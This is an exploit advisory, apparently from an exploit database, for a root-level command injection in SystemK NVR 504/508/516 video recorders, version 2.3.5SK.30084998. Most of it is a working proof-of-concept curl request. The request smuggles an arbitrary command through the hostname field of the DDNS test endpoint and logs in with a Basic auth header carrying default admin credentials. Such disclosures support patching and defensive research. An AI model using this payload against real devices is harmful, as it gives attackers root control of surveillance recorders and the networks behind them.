# Exploit Title: SystemK NVR 504/508/516 Command Injection
# Exploit Author: Keniver Wang
# Publish Date: 19/06/2023
# Date of found: 20/01/2021
# Vendor: SystemK
# Vendor Homepage: https://nvr.bz/
# Version: NVR 504/508/516 2.3.5SK.30084998

# Greets:
    Weber Tsai (CHT Security)

# Description
    A Command Injection vulnerability in the DDNS Setting that allows
attacker to execute arbitrary commands with root privileges.

# Proof of Concept
curl 'http://<IP>/ddnsserver.cgi?action=test&address=members.dyndns.org&type=dyndns&username=&password=&hostname=;<COMMAND>;&updatetime=300'
\
  -X 'POST' \
  -H 'Connection: keep-alive' \
  -H 'Content-Length: 0' \
  -H 'Authorization: Basic YWRtaW46YWRtaW4=' \
  -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko)' \
  -H 'Accept: */*' \
  -H 'Accept-Language: zh-TW,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6'